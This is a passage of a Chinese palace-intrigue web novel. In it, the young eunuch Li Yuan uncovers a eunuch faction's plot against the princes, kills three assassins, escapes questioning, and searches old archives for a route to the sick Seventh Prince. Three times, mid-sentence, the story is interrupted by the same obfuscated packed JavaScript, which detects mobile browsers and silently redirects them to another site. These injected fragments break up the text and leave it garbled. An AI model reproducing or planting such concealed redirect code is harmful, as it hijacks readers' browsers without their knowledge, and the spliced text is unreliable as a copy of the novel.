曹公公语气稍缓，丢过去一个小瓷瓶：“这是解药，暂时压住毒性。主子另有要事交予你去办。三日后，西苑鹿鸣轩，有一场‘品茗会’，六皇子会去。你想办法，让他在那里‘偶遇’点不干净的东西，明白吗？” “属下明白。”黑衣人接过解药，毫不犹豫地吞下。 “记住，要做得干净，像是意外。”曹公公阴冷地补充道，“若是再失手……你知道后果。” “是！” 曹公公不再多言，身形一晃，便如鬼魅般消失在林地深处，身法之快，远超那黑衣人。 李原伏在草丛中，心中掀起惊涛骇浪。 这些内侍不仅要对付七皇子朱瑄，竟连看似与世无争的六皇子也要设计陷害？而且，这曹公公方才显露的身法，迅捷诡异，显然身负绝技，至少是后天巅峰，甚至可能已触摸先天门槛！自己与之相比，简直是云泥之别。 李原心底羡慕不已，但更是小心，连呼吸都放缓了。 直到那黑衣人包扎好伤口，也迅速离去，李原又在原地潜伏了许久，确认再无危险，才敢慢慢爬起，拉起板车，继续前行。 只不过这次他更是觉得那车辕重逾千斤，每一步都踏在刀尖之上。 方才听到的秘闻，如同烫手的山芋。 告发？他无凭无据，对方是司礼监的实权太监，捏死他如同捏死蚂蚁。 不告发？若六皇子真遭了毒手，追查起来，自己这净房小太监恐怕也难以脱身。 更何况，他内心深处，那“奇货可居”的念头，又悄然萌动。若能借此……不！不行！眼下自身难保，妄动便是取死之道。 他强迫自己冷静下来，分析利弊。最终决定，暂且隐忍，静观其变。但需更加小心，同时，也要想办法提升自保之力。 从化人厂回到净房，他依旧如常做事，对 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李原只觉得一股寒气从脚底直冲天灵盖，几乎要控制不住颤抖。他死死咬住嘴唇，全力运转《龟息功》，连心跳都几乎停滞，整个人与周围的黑暗融为一体。 那黑影在院中稍作停留，锐利的目光如同实质，扫过堆放的杂物，似乎在搜寻什么。李原甚至能感觉到那目光几次从自己藏身之处掠过。 万幸，《龟息功》玄妙非常，加之李原所处位置极其隐蔽，黑影并未发现异常。对方停留了片刻，似乎一无所获，便再次纵身，如轻烟般掠过院墙，消失在宫廷深处。 直到那身影彻底消失，李原才敢缓缓吐出一口浊气，浑身已被冷汗湿透，虚脱般滑坐在地。 太险了！ 这曹公公夜间潜入这卑污之地，所为何事？是巧合，还是……自己白日里的行踪，终究引起了对方的怀疑？ 他不敢再在此地久留，勉强支撑着发软的双腿，踉跄着回到住处。这一夜，他辗转反侧，难以成眠。他感觉到危机如同无形的网，正在缓缓收紧。 翌日，他强打精神当值，却发现净房的气氛愈发凝重。 福安眉头紧锁，连那几本心爱的话本也丢在了一边。 中午时分，竟有两位身着东厂番子服饰的太监前来，说是例行巡查，目光却如同刀子般在众人脸上刮过，尤其是还在李原身上停留了片刻。 李原心中警铃大作，面上却愈发恭顺卑微，回答问题滴水不漏，只反复强调自己昨日一直在净房忙碌，未曾离开。 番子盘问无果，悻悻而去。 但李原知道，麻烦才刚刚开始。他必须尽快想办法，要么彻底撇清关系，要么……找到一棵能暂时依靠的大树。 下一秒，他立刻想到了七皇子朱瑄。若那黑衣人所言属实，朱瑄亦是曹敬等人的目标之一。敌人的敌人，就是助力……但他该如何接近对方？又如何取信于对方？ 正当他心绪不宁之际，机会竟自己送上门来。 4. 第 4 章 这日傍晚，他交完文书回来，路过靠近冷宫的一处荒废园子时，忽闻里面传来一阵压抑的咳嗽声，以及低低的争执。 “殿下！您这病不能再拖了！得赶紧宣太医！” “咳咳……宣太医？只怕太医没来，催命的符咒先到了。母妃已经不在人世……还有外祖父家现今无人理会，我若此时声张，岂不是授人以柄？” “可是殿下……” “没有可是！忍一忍便过去了。” 李原脚步一顿，这声音……七皇子病了？而且听其言语，处境似乎极为艰难，连太医都不敢请。 一个念头如同电光石火般闪过脑海——曹公公设计六皇子，是否与七皇子此次患病有关？若自己能抓住这次机会…… 他心跳骤然加速，但旋即压下。不可冲动！此事风险极大，一步踏错，便是万劫不复。 他默默记下此事，如同幽灵般悄然离去。 然而，树欲静而风不止。 第三日，李原去找了采买的小太监，私下向他买了一些粗盐，给福安泡茶。回来路上，经过一条狭长宫巷时，他忽觉身后似有人跟踪。 他佯装不知，加快脚步，那人也加快；他放慢，那人也放慢。 李原心中冷笑，果然来了。 他不动声色，拐向另一条更偏僻、通往净房的小路。就在即将走出巷口时，前方忽然闪出两个身影，堵住了去路。 李原回头一看，身后那人也显出身形，竟是三个面生的太监，眼神凶狠，不怀好意。 “几位公公，不知有何事吩咐奴婢？”李原停下脚步，脸上堆起惯有的谄笑，心中却已提起十二分警惕。 他观这三人步伐气息，虽非高手，却也通得拳脚。这是来者不善。 当中一人冷笑道：“吩咐？有人让咱家给你带句话——管好自己的眼睛和耳朵，不该看的别看，不该听的别听，否则！” 李原刚要点头哈腰。 只见三人已呈品字形围了上来，拳脚带风，直取李原要害！竟是打算在此地将他灭口！ 没想到对方根本没打算放过他！ 危机临头，李原脑中一片清明。他不能显露武功，否则后患无穷。但也不能坐以待毙！ 电光石火间，他眼中闪过一丝狠色与决绝。只见他“哎呀”一声惊叫，像是被吓破了胆，脚下“一滑”，整个人向前扑倒，险之又险地避开了正面一拳。 同时，他手中抱着的、刚从内官监领来的一小袋粗盐，猛地向后一扬！ “噗！” 雪白的盐粒劈头盖脸洒向身后两人，迷了他们的眼睛。 “我的盐！干爹等着用的盐啊！”李原带着哭腔大喊，手脚并用，如同真正的爬虫，连滚带爬地向巷子另一端跑去，姿态狼狈至极，速度却是不慢。 那三人没料到他如此滑溜，被盐粒迷了眼，顿时怒骂连连。待三人揉开眼睛，李原已跑出十余步。 “追！绝不能让他跑了！” 李原头也不回，拼命向前跑。他熟知宫中路径，专挑那些狭窄、多岔路的地方钻。 他不敢直接跑回净房，怕引狼入室，连累福安。只能凭借对地形的熟悉，与那三人周旋。 对方要灭口是因为那日林中所见？还是因为别的？ 自己终究是被卷入了这漩涡之中。李原心中暗暗叹息，但不知怎么的，一股豪气突然从胸口升起。 蝼蚁也有吞象之志！他李原不会永远被人任打任杀！ 奔跑中，他摸到了到怀中所藏、准备带回给福安的一小包治咳嗽的草药。 那是他前两日去藏书阁，贿赂了一个小太监，从他那里拿到的。本想借此进一步拉近与福安的关系，更想着能在关键时刻，用来向那位病中的七皇子，递出一根微不足道的稻草。 但没想到现在竟落入了如此险境！ 李原跑得胸口憋闷，恨不得一句话，就让这几个走狗出现在化人场！但现在不是想这些的时候，最重要的是活下来！ 此时的他已经是自身难保。 他咬紧牙关，将全身力气都用在奔跑上。《龟息功》带来的绵长气息此刻发挥了作用，让他不至于很快力竭。但身后追兵越来越近，呼喝声已清晰可闻。 前方是一处废弃的殿宇群落，断壁残垣，布满枯草。李原毫不犹豫地钻了进去，看着像是慌不择路的兔子。 在一处半塌的宫墙拐角，他猛地停下，屏住呼吸，贴墙而立。 脚步声迅速逼近。 “分头找！那小子跑不远！” 听着脚步声分散开，李原眼中寒光一闪。 他缓缓从靴筒中摸出一根磨尖了的铁钎——这是他平日处理尸体、撬开某些难以搬运的物件时所用，此刻成了他唯一的武器。 他不能一直逃下去，必须解决掉他们！ 他选中了那个落单的、脚步声最轻的追兵，如同潜伏的毒蛇，等待着猎物靠近。 一步，两步…… 就在那人跑过墙角的瞬间，李原动了！ 他没有使用任何内力，纯粹依靠□□的爆发力，以及他对角度精准的估计。他手中铁钎如同毒蛇出洞，直刺对方咽喉！ 那太监根本没料到这“懦夫”竟敢反击，更没料到这反击如此迅捷狠辣！这人只觉喉头一凉，剧痛传来，想要呼喊，却只能发出“嗬嗬”的漏气声。他瞪大眼睛，难以置信地看着李原那冰冷无波的面孔，缓缓软倒在地。 李原看也不看结果，迅速将其尸体拖入残垣深处，用枯草掩盖，动作干脆利落得不像第一次杀人。 他舔了舔有些干裂的嘴唇，眼中没有任何情绪，只有绝对的理智与对生存的渴望。 他收起铁钎，再次隐入阴影，如同暗夜中的幽灵，寻找下一个目标。 “吧嗒”一个轻微的响动响起，似乎是有人踩到了枯枝。李原垂眸，紧紧地握住了手里的家伙。 “桀桀！我看你往哪里跑！”伴随着这声怪笑，破空声从李原头顶响起。 李原颈后的寒毛直立起！ 性命之忧近在咫尺！ 他自幼入宫，虽贪生怕死，然则在这种情况下，反能能生出急智。 李原当下也不回头，更不闪避。因知来不及！他竟将身子向前一扑，使了个“懒驴打滚”的笨拙架势，就势滚入旁边半堵破墙的阴影里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347205|199531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一扑，全无章法，却妙在出其不意，正合了他平日那等贪生畏死、遇事便慌的表象。 只听“嗤”的一声，一件物事擦着李原后背衣衫掠过，钉在地上，却是一柄三寸来长的飞镖，蓝汪汪的，显是淬了毒。 “咦？”那出手之人轻噫一声，似未料到他这般狼狈躲过。 趁此间隙，李原已翻身爬起，背靠断墙，手中紧紧攥着那根磨尖的铁钎，胸口起伏，面上惊惶之色逼真无比，颤声道：“各……各位公公，何故苦苦相逼？奴婢……奴婢不知道哪里得罪了几位公公！” 那追来的两人已汇在一处，一高一矮，高的那个方才发了飞镖，矮的那个手持短棍。高的冷笑道：“不知道？那就下去问阎王爷！” 说完，二人已经向着李原扑了过来！ 李原却是再使出刚才那一伎俩，手一扬，盐粒满头满脸地向着二人扑去。 二人一见白颗粒，赶紧侧身扬袖避开，趁着这个间隙，李原冲着废殿残垣而去。 “追！”但两个太监进去废殿之后，却失了李原的踪影。 李原伏于断墙阴影之下，周身气息近乎断绝，乃《龟息功》运转至极致之象。 他心头那根弦，却绷得愈发紧了。这宫廷深处，人命贱如草芥，今日若不能脱此死局，明日净房那板车上，躺着的便是他李原的尸首。 他耳廓微动，细细分辨风中传来的声响。只听得那两人脚步声一重一轻，一东一西，正自小心翼翼搜寻过来。 那重的，步履带着闷声，似是个外家功夫的练家子，正是那个使暗器的家伙；那轻的，步履几乎无声，但脚步虚浮，时轻时重，想来是轻功还没练到家，或是使了什么取巧的法子。 李原心下雪亮，此二人绝非寻常杂役太监，定是曹敬手下豢养的爪牙，专司这等见不得光的勾当。 他眸中寒光一闪，冷心冷血之性此刻展露无遗。惧意？自是有的，贪生畏死乃人之常情。但今日，不是你死就是我活，再无退路！ 他悄然自怀中摸出那包咳嗽草药，指尖捻动，将其搓成数个小团。 然后他又悄悄地自靴筒另侧，取出两枚以粗布包裹、浸过尸油的铁蒺藜，此物乃他平日从那些横死宫人身上搜罗、暗自淬炼，本为防身，不想今日派上用场。 他心念电转，已有计较。他需借这废园地势，行那分化击破之策。 李原目光扫过左侧一处半塌的月台，其下全是枯草，乱石堆积，正是设伏的绝佳所在。 当下不再犹豫，李原如狸猫般悄无声息地潜至月台之下，将几团药草置于上风处一块略凸的石上，以枯叶虚掩。 随即，他拾起一枚石子，运起微末内力，屈指一弹，那石子便带着一丝破空声，射向右侧十余步外一扇摇摇欲坠的雕花窗棂。 “啪嗒！” 声响虽不甚大，在这死寂荒园中，却格外清晰。 “在那边！”使暗器的太监立时低喝，快步向窗棂处扑去。 另一轻浮脚步声却顿了顿，似有疑虑，未曾立刻跟上。 李原要的便是这片刻迟疑。他屏住呼吸，藏身石后，如同蛰伏的毒蛇。 5. 第 5 章 那使暗器者赶到窗下，四下张望，不见人影，正自疑惑。忽闻得一股似有若无的草药气味飘来，他下意识吸了吸鼻子，只觉那气味带着些微辛辣，倒也寻常，未及深思。 殊不知，李原早已算准风向，那药草气味，正可稍稍掩盖他自身残留的净房些许气息，更能引动对方注意。 就在其分神嗅闻之际，李原动了！ 他并非扑出，而是自石后猛地将另一枚石子掷向那轻步者大致方位，同时自身向重步者侧后方暴起突进！这一下，声东击西，旨在扰乱二人呼应。 使暗器者闻得身后风声，反应亦是不慢，霍然转身，一拳便向李原面门捣来，拳风呼啸，果是力道刚猛。 若在平日，李原断不敢硬接。然此刻，他早有准备，脚下步伐一错，看似踉跄，实则暗合《龟息功》中一篇关于气息流转、挪移避闪的残诀，身形如泥鳅般滑开，险险避过拳锋。 同时，他手中那浸油布包着的铁蒺藜，也在此时，被他借着转身之势，不着痕迹地向前一递，正迎向对方的小腿！ “嗤啦”一声，布帛撕裂，那铁蒺藜尖锐处已划破其裤管。 这太监只觉小腿一麻，似被蚊虫叮咬，初时不以为意，怒骂一声：“小崽子，找死！”对方变拳为爪，再向李原脖颈抓来。 李原却不再与他缠斗，一击得手，即刻后撤，口中发出惊恐尖叫：“公公饶命！奴婢什么都不知道！”脚下却如同拌蒜，连滚带爬地向那轻步者方向“逃”去。 被伤着的太监岂容他走脱，迈步欲追，却忽觉那小腿麻痒之处，瞬间转为剧痛，如同数根烧红的钢针直刺骨髓！ 那尸油混合铁锈，虽非剧毒，然侵入皮肉，足以令人痛彻心扉，行动受阻。他“啊呀”一声，身形一滞，额上冷汗涔涔而下。 此时，那轻步者已被李原掷石引得靠近，眼见李原“慌不择路”向他跑来，又见同伴吃亏，眼中闪过一丝惊疑与狠厉。 这太监不敢有丝毫大意，手腕一翻，竟亮出一柄尺许长的短刃，寒光闪闪，直刺李原心窝！同时口中低喝：“留下命来！” 这一刺，又快又狠，封死了李原左右闪避之路。 眼看刀尖及体，李原那惶恐万状的脸上，却有一双平静的眸子。他等的就是这一刻！ 方才一切奔逃、示弱，皆为营造此必杀之局。 只见他脚下似是踩中一块圆石，身形猛地一个“趔趄”，向前扑倒，恰到好处地让那致命一刀贴着后背滑过。 与此同时，他那只一直缩在袖中的右手，如毒蛇出洞般探出，指尖夹着另一枚铁蒺藜。他运起《龟息功》积攒的微薄内息，集中于一点，不偏不倚，正点向对方持刀手腕的“神门穴”！ 这一下，时机、角度、力道，拿捏得妙到毫巅。既似巧合，又蕴藏着对人身关节穴道的精准认知。 那轻步者只觉腕上一麻，如同触电，整条手臂瞬间酸软无力，“当啷”一声，短刃坠地。 轻步太监心中大骇，未及反应，李原那“扑倒”的身形已顺势撞入其怀中。两人滚倒在地，李原看似胡乱挣扎，手肘、膝盖却次次击打在对方肋下、关节等脆弱之处。那太监吃痛，闷哼连连，一时竟被这“王八拳”打得晕头转向。 混乱中，李原摸到地上那柄短刃，毫不犹豫，反手便向对方心口要害一送！ “呃……” 轻步太监身体猛地一僵，双目圆睁，死死瞪着身上这看似孱弱不堪的小太监，眼中满是难以置信与不甘，旋即气绝。 李原一把推开尸身，剧烈喘息，并非全为伪装，实是这番搏杀，耗力心神甚巨。他不敢停留，迅速拾起短刃，瞥了一眼那因腿伤落后、正一瘸一拐追来的重步太监。 那人见同伴顷刻毙命，又见李原手持利刃，眼神冰冷望来，心中惊骇大冒，哪还有追杀之心，转身便欲逃走。 李原岂能容他走脱报信？ 他深吸一口气，强提内息，将手中短刃奋力掷出！这一掷，非凭蛮力，乃是他观摩无数尸体创伤、揣摩发力技巧所得，刀刃破空，带着一丝凄厉尖啸，直没入那重步者后心！ 最后一名太监向前扑倒，抽搐两下，便再无声息。 顷刻之间，三名追兵尽数被诛。 废园之中，重归死寂，唯有北风掠过断壁，呜咽作响，更添几分阴森。 李原独立残垣之下，脚下是两具尚带余温的尸身，血腥气弥漫开来，令人作呕。 他面色苍白，胸口起伏，然眼神却无半分波动，冷澈如寒冰。杀人，于他而言，与处理净房那些无名尸首，并无本质区别。皆是扫除障碍，以求自保。 他心中默念：是尔等先要取我性命，怪不得我心狠手辣。 李原不敢怠慢，迅速行动。他先将三具尸身拖至一处早已干涸的渗井旁，奋力推入井底，又以碎石枯草掩盖井口。随即，他仔细清理现场打斗痕迹，尤其是血迹与自身脚印。 至于那柄短刃，他擦拭干净，犹豫片刻，终究觉得是个隐患，亦投入井中。 做完这一切，他已是汗透重衣，是累也是怕。 李原抬头望天，日头西斜，暮色将至。他必须尽快离开此地，返回净房。因为拖延愈久，破绽愈多。 他整理好衣袍，拍去尘土，脸上重新堆叠起那惯有的、带着几分懦弱与惶恐的神情。 李原装成一个谨慎过度的寻常小太监，低着头、缩着肩，沿着宫墙阴影，疾步而行。一路有惊无险，避开几波巡逻后，他终是回到了那充斥着腥秽气味的净房小院。 福安仍在值房内打着盹，鼾声如雷，似乎对外间风波一无所知。 李原心中稍定，悄然回到自己那冰冷狭窄的铺位，盘膝坐下，默运《龟息功》，平复翻腾的气血与心绪。 今日之事，凶险异常，虽侥幸脱身，然隐患已种。曹敬那边，连失三人，岂会善罢甘休？定会追查。自己虽处理得干净，但宫中耳目众多，难保万全。 “需得尽快寻个倚仗，至少，要能暂避这扑面而来的杀机。”他暗忖，目光不由投向冷宫方向。 七皇子朱瑄，病中无人问津，恰如溺水之人，若此时递过一根稻草……然则，如何递得自然、递得不露痕迹，且能让其信之、用之，而非疑之、弃之甚至杀之灭口，其中分寸，拿捏不易。 正思虑间，忽闻院外传来一阵嘈杂脚步声，伴随着尖细的呼喝：“净房管事何在？出来回话！” 李原心头猛地一沉！对方来得竟如此之快！ 他迅速躺倒，扯过薄被盖在身上，伪装成酣睡模样，耳力却提升至极致。 只听福安似是惊醒，趿拉着鞋迎出去，声音带着睡意与谄媚：“哎呦，几位上差，不知有何吩咐？” 来者语气倨傲：“咱家是司礼监曹公公麾下的。问你，你手下可有个叫李原的小火者？” 李原藏在被中的手，悄然握紧。 福安忙道：“有有有，不知这小兔崽子何处得罪了上差？” “哼，得罪？倒也谈不上。只是今日午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347206|199531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后，有人见他在西六宫一带鬼鬼祟祟，曹公公命咱家来问问话。叫他出来！” 福安迟疑道：“这……回上差，李原那孩子午后吃了饭，说是身子不适，一直在房里歇着，未曾出去啊。是不是……看错了？” “歇着？”那声音冷笑，“叫他起来！咱家亲眼瞧瞧。” 说完，脚步声向李原住处逼近。 李原心念电转，此刻若起身，对方盘问起来，自己言辞稍有漏洞，便是灭顶之灾。福安虽出言维护，但其心思难测，未必可靠。 就在房门将被推开之际，李原猛地发出一连串剧烈的咳嗽，声音嘶哑虚弱，仿佛要将肺都咳出来一般。 他蜷缩着身子，瑟瑟发抖，脸上逼出几分病态的潮红，眼神涣散，望向门口，气若游丝道：“干……干爹……是……是谁来了？孩儿……孩儿这身上忽冷忽热，怕是……怕是染了风寒……” 他这副模样，任谁看了，都觉得已是病入膏肓。 福安见状，忙对那几位司礼监太监赔笑道：“上差您看，这兔崽子确是病了，病得不轻。这净房之地，污秽不堪，莫要过了病气给几位上差。” 那领头太监皱眉打量着李原，见他面色蜡黄、唇色发白、浑身颤抖，不似作伪，又嫌恶地瞥了眼这陋室环境，心中信了七八分。宫中最忌时疫，若真染了恶疾，却是麻烦。 如若因为这等人染了病，失了在圣上跟前伺候的机会，那可是得不偿失！ “罢了，”他挥挥手，语气缓和了些，“既是真的病了，就好生歇着。只是记着，管束好手下人，莫要胡乱走动，冲撞了贵人！” “是是是，上差放心，奴婢一定严加管束！”福安连声应承，将那几人送了出去。 待脚步声远去，福安回转，站在李原铺前，浑浊的老眼盯着他，半晌不语。 李原心中忐忑，面上却仍是那副病弱之态，喘息着道：“多谢……多谢干爹回护……” 福安忽地叹了口气，声音低沉：“小原子，这宫里的水，深着呢。有些浑水，蹚不得。今日之事，咱家替你挡了，往后……你好自为之。”说罢，他不再多言，转身，蹒跚着回了自己屋。 李原望着他那佝偻的背影，心中波澜微起。福安此言，是警告，亦是提醒。 他知道福安定然猜到了些什么，但仍然选择替自己遮掩。这老太监，看似糊涂，实则心里跟明镜似的。 这份情，李原记下了，虽然其中未必没有福安出于自身利益的考量。 危机暂解，然李原深知，曹敬疑心既起，绝不会轻易放过自己。他如同走在悬崖边缘，一步踏空，便是万丈深渊。 他闭上眼，脑中飞速盘算。那包治咳嗽的草药还有几剂尚在怀中，七皇子朱瑄之病，或可一用。然则，如何接近？直接献药，太过突兀，无异自曝其短。需得寻个由头，要不着痕迹。 忽地，他想起前几日福安念叨，说七皇子生母，昔日曾对净房一个老太监有过一饭之恩。虽是小得不能再小之事，然宫中旧事，往往便是这般牵扯。 一个计划，渐渐于李原心中成形。或可借“报恩”之名，行“投机”之实。风险依旧，然眼下，似乎别无他路。 他摸了摸怀中草药，又想起那日林中曹公公与黑衣人之对话，眼中闪过一丝决绝。 蝼蚁也要求生！ 夜色渐深，净房内外，唯闻风声呜咽。李原卧于铺位上，默诵《龟息功》口诀，气息渐趋平缓绵长，仿若熟睡，但他的手心，还紧紧拽着。 6. 第 6 章 李原在等待最好的时机。 而这个冬天，似乎格外漫长，也格外冷。 宫墙内的积雪一层一层往上积，檐角的冰棱子挂了大半个月不见消融。 净房院里的那几株老槐，只剩些粗大的枝干，远远看去，像是死了。 李原近日愈发沉默，除了当值时必要的应答，整日里难得听见他开口。 他以往面上那谄媚的笑也淡了些，倒不是刻意收敛，实是心力多耗在了别处。 白日里他依旧与其他人一道处理秽物尸身，手法却较往日更见利落。每具尸体在他手中，不单是待处理的物件，更似一本本无字的密卷，藏着许多活人不肯言说的隐秘。 这一日，李原裹着那件旧棉袍，正将一具刚送来的尸首搬上板车。 这是个年岁不大的内侍，面皮青紫，脖颈处一道勒痕深可见骨。他一边动作，口中一边低声念叨着“可怜”，手上却不停，指尖在那勒痕处细细摩挲。 “这绳结……”他心下暗忖，“非是寻常活扣，倒像是水手惯用的‘渔人结’，收紧便难解脱。宫中何人会使这等结法？” 思绪转动间，他已将那尸身衣衫暗袋、袜底、发髻间俱摸索一遍，只寻得几枚磨薄了的铜钱，并一方浸了血污的汗巾。 将铜钱纳入袖中，李原直起身，拍了拍手，朝屋内喊道：“干爹，永巷送来的这个，也已收拾妥了。” 福安的声音自屋内传出，带着痰音：“嗯……堆到墙角，明日一并送出去罢。这鬼天气，一日比一日冷，尸首也冻得硬邦邦，倒省了咱家不少石灰。” 李原应了声，将板车拉到院角，与另外两具覆着草席的尸首并排放置。他立在车旁，呵出一口白气，目光似是不经意地扫过院门。 自那日司礼监的人来查问后，这净房左近，便时常有些生面孔晃悠。虽都扮作路过模样，但这地方，宫人内侍都避之不及，嫌其晦气。再加上他们眼神中的审视与探究，也瞒不过李原日渐敏锐的感知。 他知道，曹敬并未死心。那三个失踪的爪牙，如同投入深潭的石子，虽未立刻激起滔天波浪，却让水下潜藏的猎手，更加警觉。 “小原子，”福安不知何时踱到门口，手里捧着个黄铜手炉，眯眼望着他，“发什么呆？还不快进来，外头风硬，仔细冻着了。” 李原忙敛了心神，脸上堆起惯有的笑，小跑着过去：“就来，干爹。儿子方才是在想，这几日送来的‘货色’，似乎比往常多了些，且多是年轻力壮的……怕不是宫里又要不太平了？” 福安浑浊的老眼瞥了他一下，转身往屋里走，含糊道：“宫里何时太平过？咱们这地界，不求有功，但求无过，莫问缘由。多做少说，方能活得长久。” “是是是，干爹教训的是。”李原跟进去，反手掩上门，将凛冽寒风关在外头。屋内炭火微弱，气味混杂，他却觉着十分的暖和安心。 他走到炉边，提起陶壶给福安的茶碗续上水，状若随意地道：“干爹，儿子前几日去藏书阁，除了给您老寻的话本，还偶然听得一桩旧事，不知当讲不当讲？” 福安靠在破藤椅上，揣着手炉，眼皮耷拉着：“哦？什么旧事？” 李原压低声音：“儿子听那看守书阁的福平公公提起，说许多年前，咱们净房有位姓赵的老公公，曾受过端嫔娘娘一饭之恩。据说那年冬天天寒地冻，赵老公公病得快不行了，是端嫔娘娘偶然路过，赏了碗热粥，才救回一命……也不知是真是假。” 福安闻言，撩起眼皮，看了李原一眼，目光有些深远。他沉默片刻，才慢悠悠道：“是有这么一档子事。不过那都是陈年烂谷子了，端嫔娘娘早就仙去……唉，提它作甚。” 李原叹口气，脸上露出几分感慨：“儿子只是觉得，这宫里人情淡薄，像端嫔娘娘这般心善的主子，实在难得。可惜……如今七皇子殿下似乎也染了恙，却连个尽心伺候的人都没有，真是……” 他话未说尽，却恰到好处地停住，只拿眼悄悄觑着福安。 福安捧着茶碗，久久不语。屋内只闻炭火偶尔的“噼啪”声，和他略显粗重的呼吸。 过了好一会儿，他才似喃喃自语道：“各人有各人的缘法，各人有各人的造化。七殿下……那也是他的命数。” 李原心中微动，知福安此言，并非全然无动于衷。他不再多说，只默默拿起火钳，往火盆里加了几块炭，让屋内的寒意又少了几分。 此后两日，李原依旧如常当值，处理尸首、院落铲雪、对福安殷勤伺候。他行事愈发小心，每日只在净房与住处之间走动，偶有外出，也必是与福安同去，或领份例，或处置秽物，绝不独行。 然则，暗地里，他却将《龟息功》运转得愈发纯熟。夜间打坐时，已能清晰感知丹田内那缕气感，如丝如缕，虽仍微弱，却已可随心意引导，缓缓流注四肢百骸。他耳目亦随之愈发聪敏，十丈内的脚步声、低语声，皆难逃其感知。 这日清晨，他照例去给福安收拾床铺，见其枕边那本《三国志平话》已翻至末页，便笑道：“干爹，这话本可还入眼？儿子今日正巧要去内官监交办些文书，顺路可再去藏书阁找找，看有无新的。” 福安正对着铜盆漱口，闻言，将水吐掉，用布巾擦了擦嘴角，淡淡道：“去吧。听闻七殿下迁到西苑暖阁养病了，那儿离藏书阁不远……你机灵点，莫要冲撞了。” 李原心头猛地一跳。福安此言，看似寻常嘱咐，实则却将七皇子眼下居所，不着痕迹地告知于他。 他立刻躬身，语气感激中带着谨慎：“干爹放心，儿子晓得轻重，定会远远避开，绝不敢惹事。” 出了净房，李原并未立刻前往藏书阁，而是先至内官监，将净房一应琐碎文书交割清楚。他故意磨蹭了些时辰，与相熟的几个小火者闲话几句，探听些宫中零碎消息。 “听说曹公公那边，这几日火气不小，底下人办事不利，丢了几件要紧物事，正撒开人手暗地里查呢……”一个小火者压低声音道。 李原面上适时的露出些许惶恐，低声道：“曹公公的事，咱们可不敢议论。只盼莫要牵连到咱们这些苦命人就好。” 另一人道：“可不是么！如今走在宫里，都觉着背后有眼睛盯着，浑身不自在。” 李原附和几句，心中冷笑。曹敬果然在暗中追查，且动静不小。他必须更快一步。 辞别众人，他这才拐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347207|199531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向通往藏书阁的路。此番，他刻意绕了些远，行经西苑附近。果然见一处殿阁外，守着几名内侍，神色间透着几分不同于别处的严肃，想必那就是七皇子朱瑄养病的地方了。 他不敢停留，只远远瞥了一眼，便低头快步离开，心中却将那位置、守卫情况，一一记下。 至藏书阁，福平仍在老地方打盹。李原熟门熟路地上前，塞过一小块碎银，低声道：“福公公，小子又来叨扰了。” 福平睁开眼，接过银子掂了掂，脸上露出丝笑意：“是你啊。进去吧，外头冷啊。” 李原道了谢，迈入阁中。此番，他并未急于去寻那些武学杂书，反而在经史子集区域流连片刻，又抽出一本《春秋左传》，假意翻看。他眼角的余光，却时时留意着门口与阁内动静。 他今日来此，借书为名，探查西苑情况为实，更重要的，是想看看能否在此处，寻到些与端嫔或是七皇子相关的蛛丝马迹。 据他所知，这旧藏书阁内，除却正经典籍，亦堆放了不少陈年档案、废弃文书，其中未必没有可用之处。 约莫过了半个时辰，他放下《左传》，缓步走向那些堆放旧档的架子。此处灰尘更厚，蛛网密布，空气中弥漫着陈腐纸墨的气味。 他小心翼翼地翻检着，多是些历年宫中用度记录、修缮账簿之类，无甚出奇。 正失望间，忽见墙角倚着一只破旧的木箱，箱锁早已锈蚀。他心中一动，上前轻轻掀开箱盖。内里是些散乱的册页，纸张泛黄发脆。他随手拿起一叠，却是一些宫人名册的残卷，记录的似是十数年前的人员调动。 他本欲放下，目光扫过一处，却骤然定格。只见那泛黄的纸页上，赫然写着“端嫔姜氏，近侍宫人名录”，下列几个名字，其中一个，便是“赵忠，后至净房司职”。 李原呼吸微微一滞。 他强压下心中激动，迅速将那名册抽出，粗略翻看。后面几页，还零星记载着些端嫔宫中用度赏赐，以及……一次不大不小的“失窃”风波记录，称端嫔遗失了一支心爱的玉簪，疑是宫内人所为，最后却不了了之。 李原将这些册页迅速浏览一遍，将其关键信息强行记下，尤其是那名录与失窃记录。随即，他将册页小心放回原处，合上箱盖，抹去自己留下的痕迹。 做完这些，他心中稍定，正欲离开，忽闻阁外传来一阵脚步声，伴随着福平略显急促的问安声：“哎呦，曹公公，您老今日怎得有暇到此陋处？真是蓬荜生辉……” 曹公公？李原浑身汗毛瞬间竖起！曹敬？他怎会亲自来此？ 